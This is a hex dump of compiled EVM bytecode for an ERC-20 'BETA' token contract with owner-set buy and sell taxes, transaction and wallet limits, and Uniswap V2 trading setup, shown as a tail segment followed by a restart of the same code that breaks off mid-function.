565b610e4761131c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ed4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ecb906129b5565b60405180910390fd5b60198211158015610ee6575060198111155b8015610efe5750600d60009054906101000a900460ff165b610f3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3490612c71565b60405180910390fd5b81600781905550806008819055507f78009e5656a5c60b3c047015fb856b2efbc6f42beed76119406d7d4e3fc161f48282604051610f7c929190612c91565b60405180910390a15050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600c5481565b60606040518060400160405280600481526020017f4245544100000000000000000000000000000000000000000000000000000000815250905090565b600061100861100161131c565b84846114b8565b6001905092915050565b6009600a61102091906128dc565b62030d4061102e9190612927565b81565b61103961131c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110bd906129b5565b60405180910390fd5b600d60009054906101000a900460ff1615611116576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110d90612d06565b60405180910390fd5b6001600d60026101000a81548160ff0219169083151502179055506001600d60006101000a81548160ff0219169083151502179055507f41a09f17206aad1ccd4bae176b5c5e0b2154e569947545c9019e6bb0cb4ef59c600d60009054906101000a900460ff16600d60029054906101000a900460ff1660405161119b929190612d26565b60405180910390a1565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61123461131c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112b8906129b5565b60405180910390fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561138e5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b6113cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c490612d9b565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114ab9190612592565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115225750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b611561576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155890612e07565b60405180910390fd5b600081116115a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159b90612e99565b60405180910390fd5b60006115ae610f88565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561161c57506115ec610f88565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611bed57600d60009054906101000a900460ff1661171657600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806116d65750600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611715576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161170c90612f05565b60405180910390fd5b5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156117c15750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156118175750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156118d257600b54821115611861576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161185890612f71565b60405180910390fd5b600c548261186e85610611565b6118789190612f91565b11156118b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118b090613011565b60405180910390fd5b600960008154809291906118cc90613031565b91905055505b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561195b57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561199a576064611989601e6009541161197657601e61197a565b6008545b84611f0e90919063ffffffff16565b61199391906130a8565b9050611a5f565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611a2357503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611a5e576064611a51601e60095411611a3e576014611a42565b6007545b84611f0e90919063ffffffff16565b611a5b91906130a8565b90505b5b80600a6000828254611a719190612f91565b925050819055506000611a8330610611565b9050600d60019054906101000a900460ff16158015611aef5750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015611b075750600d60029054906101000a900460ff165b8015611b2d57506009600a611b1c91906128dc565b62030d40611b2a9190612927565b81115b8015611b3b5750601e600954115b8015611b6357506009600a611b5091906128dc565b62013c68611b5e9190612927565b600a54115b15611beb5760006009600a611b7891906128dc565b620f4240611b869190612927565b8211611b925781611baf565b6009600a611ba091906128dc565b620f4240611bae9190612927565b5b9050611bc8818511611bc15784611bc3565b815b61201c565b60004790506000811115611be057611bdf47612295565b5b6000600a8190555050505b505b6000811115611cf157611c4881600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461230190919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611ce89190612592565b60405180910390a35b611d4382600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fd290919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611dea611d9c8284611fd290919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461230190919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611e8f8486611fd290919063ffffffff16565b604051611e9c9190612592565b60405180910390a350505050565b6000838311158290611ef2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ee99190612452565b60405180910390fd5b5060008385611f0191906130d9565b9050809150509392505050565b6000808303611f205760009050611f82565b60008284611f2e9190612927565b9050828482611f3d91906130a8565b14611f7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f749061317f565b60405180910390fd5b809150505b92915050565b6000611fca83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061235f565b905092915050565b600061201483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611eaa565b905092915050565b6001600d60016101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156120545761205361319f565b5b6040519080825280602002602001820160405280156120825781602001602082028036833780820191505090505b509050308160008151811061209a576120996131ce565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612141573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121659190612a56565b81600181518110612179576121786131ce565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506121e030600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611324565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016122449594939291906132bb565b600060405180830381600087803b15801561225e57600080fd5b505af1158015612272573d6000803e3d6000fd5b50505050506000600d60016101000a81548160ff02191690831515021790555050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156122fd573d6000803e3d6000fd5b5050565b60008082846123109190612f91565b905083811015612355576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161234c90613361565b60405180910390fd5b8091505092915050565b600080831182906123a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161239d9190612452565b60405180910390fd5b50600083856123b591906130a8565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156123fc5780820151818401526020810190506123e1565b60008484015250505050565b6000601f19601f8301169050919050565b6000612424826123c2565b61242e81856123cd565b935061243e8185602086016123de565b61244781612408565b840191505092915050565b6000602082019050818103600083015261246c8184612419565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006124a482612479565b9050919050565b6124b481612499565b81146124bf57600080fd5b50565b6000813590506124d1816124ab565b92915050565b6000819050919050565b6124ea816124d7565b81146124f557600080fd5b50565b600081359050612507816124e1565b92915050565b6000806040838503121561252457612523612474565b5b6000612532858286016124c2565b9250506020612543858286016124f8565b9150509250929050565b60008115159050919050565b6125628161254d565b82525050565b600060208201905061257d6000830184612559565b92915050565b61258c816124d7565b82525050565b60006020820190506125a76000830184612583565b92915050565b6000806000606084860312156125c6576125c5612474565b5b60006125d4868287016124c2565b93505060206125e5868287016124c2565b92505060406125f6868287016124f8565b9150509250925092565b600060ff82169050919050565b61261681612600565b82525050565b6000602082019050612631600083018461260d565b92915050565b60006020828403121561264d5761264c612474565b5b600061265b848285016124c2565b91505092915050565b6000806040838503121561267b5761267a612474565b5b6000612689858286016124f8565b925050602061269a858286016124f8565b9150509250929050565b6126ad81612499565b82525050565b60006020820190506126c860008301846126a4565b92915050565b600080604083850312156126e5576126e4612474565b5b60006126f3858286016124c2565b9250506020612704858286016124c2565b9150509250929050565b6127178161254d565b811461272257600080fd5b50565b6000813590506127348161270e565b92915050565b6000806040838503121561275157612750612474565b5b600061275f858286016124c2565b925050602061277085828601612725565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115612800578086048111156127dc576127db61277a565b5b60018516156127eb5780820291505b80810290506127f9856127a9565b94506127c0565b94509492505050565b60008261281957600190506128d5565b8161282757600090506128d5565b816001811461283d576002811461284757612876565b60019150506128d5565b60ff8411156128595761285861277a565b5b8360020a9150848211156128705761286f61277a565b5b506128d5565b5060208310610133831016604e8410600b84101617156128ab5782820a9050838111156128a6576128a561277a565b5b6128d5565b6128b884848460016127b6565b925090508184048111156128cf576128ce61277a565b5b81810290505b9392505050565b60006128e7826124d7565b91506128f283612600565b925061291f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612809565b905092915050565b6000612932826124d7565b915061293d836124d7565b925082820261294b816124d7565b915082820484148315176129625761296161277a565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061299f6020836123cd565b91506129aa82612969565b602082019050919050565b600060208201905081810360008301526129ce81612992565b9050919050565b7f696e697420616c72656164792063616c6c656400000000000000000000000000600082015250565b6000612a0b6013836123cd565b9150612a16826129d5565b602082019050919050565b60006020820190508181036000830152612a3a816129fe565b9050919050565b600081519050612a50816124ab565b92915050565b600060208284031215612a6c57612a6b612474565b5b6000612a7a84828501612a41565b91505092915050565b6000604082019050612a9860008301856126a4565b612aa560208301846126a4565b9392505050565b6000819050919050565b6000819050919050565b6000612adb612ad6612ad184612aac565b612ab6565b6124d7565b9050919050565b612aeb81612ac0565b82525050565b600060c082019050612b0660008301896126a4565b612b136020830188612583565b612b206040830187612ae2565b612b2d6060830186612ae2565b612b3a60808301856126a4565b612b4760a0830184612583565b979650505050505050565b600081519050612b61816124e1565b92915050565b600080600060608486031215612b8057612b7f612474565b5b6000612b8e86828701612b52565b9350506020612b9f86828701612b52565b9250506040612bb086828701612b52565b9150509250925092565b6000604082019050612bcf60008301856126a4565b612bdc6020830184612583565b9392505050565b600081519050612bf28161270e565b92915050565b600060208284031215612c0e57612c0d612474565b5b6000612c1c84828501612be3565b91505092915050565b7f46696e616c205461783a20457863656564732076616c75650000000000000000600082015250565b6000612c5b6018836123cd565b9150612c6682612c25565b602082019050919050565b60006020820190508181036000830152612c8a81612c4e565b9050919050565b6000604082019050612ca66000830185612583565b612cb36020830184612583565b9392505050565b7f74726164696e6720616c7265616479206f70656e000000000000000000000000600082015250565b6000612cf06014836123cd565b9150612cfb82612cba565b602082019050919050565b60006020820190508181036000830152612d1f81612ce3565b9050919050565b6000604082019050612d3b6000830185612559565b612d486020830184612559565b9392505050565b7f45524332303a20617070726f766520746865207a65726f206164647265737300600082015250565b6000612d85601f836123cd565b9150612d9082612d4f565b602082019050919050565b60006020820190508181036000830152612db481612d78565b9050919050565b7f45524332303a207472616e7366657220746865207a65726f2061646472657373600082015250565b6000612df16020836123cd565b9150612dfc82612dbb565b602082019050919050565b60006020820190508181036000830152612e2081612de4565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000612e836029836123cd565b9150612e8e82612e27565b604082019050919050565b60006020820190508181036000830152612eb281612e76565b9050919050565b7f74726164696e67206e6f7420796574206f70656e000000000000000000000000600082015250565b6000612eef6014836123cd565b9150612efa82612eb9565b602082019050919050565b60006020820190508181036000830152612f1e81612ee2565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b6000612f5b6019836123cd565b9150612f6682612f25565b602082019050919050565b60006020820190508181036000830152612f8a81612f4e565b9050919050565b6000612f9c826124d7565b9150612fa7836124d7565b9250828201905080821115612fbf57612fbe61277a565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b6000612ffb601a836123cd565b915061300682612fc5565b602082019050919050565b6000602082019050818103600083015261302a81612fee565b9050919050565b600061303c826124d7565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361306e5761306d61277a565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006130b3826124d7565b91506130be836124d7565b9250826130ce576130cd613079565b5b828204905092915050565b60006130e4826124d7565b91506130ef836124d7565b92508282039050818111156131075761310661277a565b5b92915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006131696021836123cd565b91506131748261310d565b604082019050919050565b600060208201905081810360008301526131988161315c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61323281612499565b82525050565b60006132448383613229565b60208301905092915050565b6000602082019050919050565b6000613268826131fd565b6132728185613208565b935061327d83613219565b8060005b838110156132ae5781516132958882613238565b97506132a083613250565b925050600181019050613281565b5085935050505092915050565b600060a0820190506132d06000830188612583565b6132dd6020830187612ae2565b81810360408301526132ef818661325d565b90506132fe60608301856126a4565b61330b6080830184612583565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061334b601b836123cd565b915061335682613315565b602082019050919050565b6000602082019050818103600083015261337a8161333e565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122028054e1669e6495026c44e94ff796701271c253823765792d114b2cb63200f5064736f6c63430008130033
|
6080604052600436106101235760003560e01c80638129fc1c116100a0578063a9059cbb11610064578063a9059cbb146103ac578063bf474bed146103e9578063c9567bf914610414578063dd62ed3e1461042b578063df8408fe146104685761012a565b80638129fc1c146102eb57806382116718146103025780638da5cb5b1461032b5780638f9a55c01461035657806395d89b41146103815761012a565b8063313ce567116100e7578063313ce5671461022a57806370a0823114610255578063715018a614610292578063751039fc146102a95780637d1db4a5146102c05761012a565b806306fdde031461012f578063095ea7b31461015a5780630faee56f1461019757806318160ddd146101c257806323b872dd146101ed5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610491565b6040516101519190612452565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c919061250d565b6104ce565b60405161018e9190612568565b60405180910390f35b3480156101a357600080fd5b506101ac6104ec565b6040516101b99190612592565b60405180910390f35b3480156101ce57600080fd5b506101d761050b565b6040516101e49190612592565b60405180910390f35b3480156101f957600080fd5b50610214600480360381019061020f91906125ad565b61052f565b6040516102219190612568565b60405180910390f35b34801561023657600080fd5b5061023f610608565b60405161024c919061261c565b60405180910390f35b34801561026157600080fd5b5061027c60048036038101906102779190612637565b610611565b6040516102899190612592565b60405180910390f35b34801561029e57600080fd5b506102a761065a565b005b3480156102b557600080fd5b506102be6107ad565b005b3480156102cc57600080fd5b506102d56108dd565b6040516102e29190612592565b60405180910390f35b3480156102f757600080fd5b506103006108e3565b005b34801561030e57600080fd5b5061032960048036038101906103249190612664565b610e3f565b005b34801561033757600080fd5b50610340610f88565b60405161034d91906126b3565b60405180910390f35b34801561036257600080fd5b5061036b610fb1565b6040516103789190612592565b60405180910390f35b34801561038d57600080fd5b50610396610fb7565b6040516103a39190612452565b60405180910390f35b3480156103b857600080fd5b506103d360048036038101906103ce919061250d565b610ff4565b6040516103e09190612568565b60405180910390f35b3480156103f557600080fd5b506103fe611012565b60405161040b9190612592565b60405180910390f35b34801561042057600080fd5b50610429611031565b005b34801561043757600080fd5b50610452600480360381019061044d91906126ce565b6111a5565b60405161045f9190612592565b60405180910390f35b34801561047457600080fd5b5061048f600480360381019061048a919061273a565b61122c565b005b60606040518060400160405280600481526020017f4245544100000000000000000000000000000000000000000000000000000000815250905090565b60006104e26104db61131c565b8484611324565b6001905092915050565b6009600a6104fa91906128dc565b620f42406105089190612927565b81565b60006009600a61051b91906128dc565b6305f5e10061052a9190612927565b905090565b600061053c8484846114b8565b6105fd8461054861131c565b6105f88560405180606001604052806028815260200161338260289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105ae61131c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611eaa9092919063ffffffff16565b611324565b600190509392505050565b60006009905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61066261131c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106e6906129b5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6107b561131c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610842576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610839906129b5565b60405180910390fd5b6009600a61085091906128dc565b6305f5e10061085f9190612927565b600b819055506009600a61087391906128dc565b6305f5e1006108829190612927565b600c819055507f69ada53addde5123341ce3a822c5f66292103b2771e41e1f3c00c2de8a63a7f96009600a6108b791906128dc565b6305f5e1006108c69190612927565b6040516108d39190612592565b60405180910390a1565b600b5481565b6108eb61131c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610978576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096f906129b5565b60405180910390fd5b600d60009054906101000a900460ff16156109c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109bf90612a21565b60405180910390fd5b6000610a27610a106064610a0260146009600a6109e591906128dc565b6305f5e1006109f49190612927565b611f0e90919063ffffffff16565b611f8890919063ffffffff16565b610a1930610611565b611fd290919063ffffffff16565b9050737a250d5630b4cf539739df2c5dacb4c659f2488d600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610ac730600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610ab391906128dc565b6305f5e100610ac29190612927565b611324565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b34573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b589190612a56565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610be1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c059190612a56565b6040518363ffffffff1660e01b8152600401610c22929190612a83565b6020604051808303816000875af1158015610c41573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c659190612a56565b600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473084600080610cf161131c565b426040518863ffffffff1660e01b8152600401610d1396959493929190612af1565b60606040518083038185885af1158015610d31573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610d569190612b67565b505050600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610df8929190612bba565b6020604051808303816000875af1158015610e17573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e3b9190612bf8565b5050565b610e4761131c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ed4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ecb906129b5565b60405180910390fd5b60198211158015610ee6575060198111155b8015610efe5750600d60009054906101000a900460ff165b610f3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3490612c71565b60405180910390fd5b81600781905550806008819055507f78009e5656a5c60b3c047015fb856b2efbc6f42beed76119406d7d4e3fc161f48282604051610f7c929190612c91565b60405180910390a15050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600c5481565b60606040518060400160405280600481526020017f4245544100000000000000000000000000000000000000000000000000000000815250905090565b600061100861100161131c565b84846114b8565b6001905092915050565b6009600a61102091906128dc565b62030d4061102e9190612927565b81565b61103961131c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110bd906129b5565b60405180910390fd5b600d60009054906101000a900460ff1615611116576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110d90612d06565b60405180910390fd5b6001600d60026101000a81548160ff0219169083151502179055506001600d60006101000a81548160ff0219169083151502179055507f41a09f17206aad1ccd4bae176b5c5e0b2154e569947545c9019e6bb0cb4ef59c600d60009054906101000a900460ff16600d60029054906101000a900460ff1660405161119b929190612d26565b60405180910390a1565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61123461131c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112b8906129b5565b60405180910390fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561138e5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b6113cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c490612d9b565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114ab9190612592565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115225750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b611561576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155890612e07565b60405180910390fd5b600081116115a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159b90612e99565b60405180910390fd5b60006115ae610f88565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561161c57506115ec610f88565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611bed57600d60009054906101000a900460ff1661171657600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806116d65750600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611715576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161170c90612f05565b60405180910390fd5b5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156117c15750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156118175750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156118d257600b54821115611861576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161185890612f71565b60405180910390fd5b600c548261186e85610611565b6118789190612f91565b11156118b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118b090613011565b60405180910390fd5b600960008154809291906118cc90613031565b91905055505b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561195b57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561199a576064611989601e6009541161197657601e61197a565b6008545b84611f0e90919063ffffffff16565b61199391906130a8565b9050611a5f565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611a2357503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611a5e576064611a51601e60095411611a3e576014611a42565b6007545b84611f0e90919063ffffffff16565b611a5b91906130a8565b90505b5b80600a6000828254611a719190612f91565b925050819055506000611a8330610611565b9050600d60019054906101000a900460ff16158015611aef5750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015611b075750600d60029054906101000a900460ff165b801